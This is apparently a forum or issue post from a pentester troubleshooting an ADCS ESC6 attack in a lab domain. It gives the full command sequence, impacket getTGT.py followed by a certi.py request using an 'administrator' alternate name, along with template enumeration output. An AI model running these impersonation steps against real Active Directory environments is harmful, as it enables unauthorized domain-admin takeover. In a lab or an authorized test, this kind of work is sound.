"Impersonation of Administrator@adlab.local not allowed with this certificate"

[jsdhasfeds]

Hi. I am trying to exploit scenario ESC6 using Kali only.

To be clear, the CA "adlab-SERVER2-CA" has the flag "EDITF_ATTRIBUTESUBJECTALTNAME2" enabled and the service "certsvc" has been restarted.

This is what I do:

1. Request a TGT using known plaintext credentials of the low priv. account "domainuser1" which is a member of the group "domain users": python3 /usr/share/doc/python3-impacket/examples/getTGT.py 'adlab.local/domainuser1:Passw0rd!'
2. Update the Kerberos variable with the TGT from the previous step: export KRB5CCNAME=/root/pentest/domainuser1.ccache
3. Request a certificate impersonating the "Administrator" account: python3 certi.py req adlab.local/domainuser1@server2.adlab.local adlab-SERVER2-CA -k --no-pass --alt-name administrator --template User -o /root/pentest/administrator.pfx

Note that step 3 works but also outputs "Impersonation of Administrator@adlab.local not allowed with this certificate". This I do not understand since the only mentioned requirement for the scenario ESC6 is that the CA has the flag "EDITF_ATTRIBUTESUBJECTALTNAME2" enabled. If I use a custom template instead of the default template "User", which is supposed to work, and grant "domainuser1" enrollment access on that template, I no longer get the message "Impersonation of Administrator@adlab.local not allowed with this certificate".

Executing the command "python3 certi.py list adlab.local/domainuser1@server2.adlab.local -k --no-pass --vuln --dc-ip 10.0.0.200 --enable" which lists vulnerable templates, the default template "User" is listed...

Name: User
Schema Version: 1
Enroll Services: adlab-SERVER2-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
msPKI-Certificate-Name-Flag: (0x-5a000000) SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Enrollment-Flag: (0x29) INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
msPKI-RA-Signature: 0
pKIExtendedKeyUsage: Encrypting File System, Secure Email, Client Authentication
SD Owner: S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins
Permissions
Enrollment Permissions
Enrollment Rights
S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins
S-1-5-21-1102219418-2391489858-980994391-513 adlab\Domain Users
S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins
Write Permissions
Write Owner
S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins
S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins
Write DACL
S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins
S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins
Write Property
S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins
S-1-5-21-1102219418-2391489858-980994391-513 adlab\Domain Users
S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins

What are the requirements on the ADCS server/the CA/the certificate template/the ACEs for requesting a certificate impersonating a different account? Do Certy only support ESC1, not ESC6?

I should also mention that using Certify from a domain-joined machine in the same environment works just fine. In other words, Certify does support ESC6.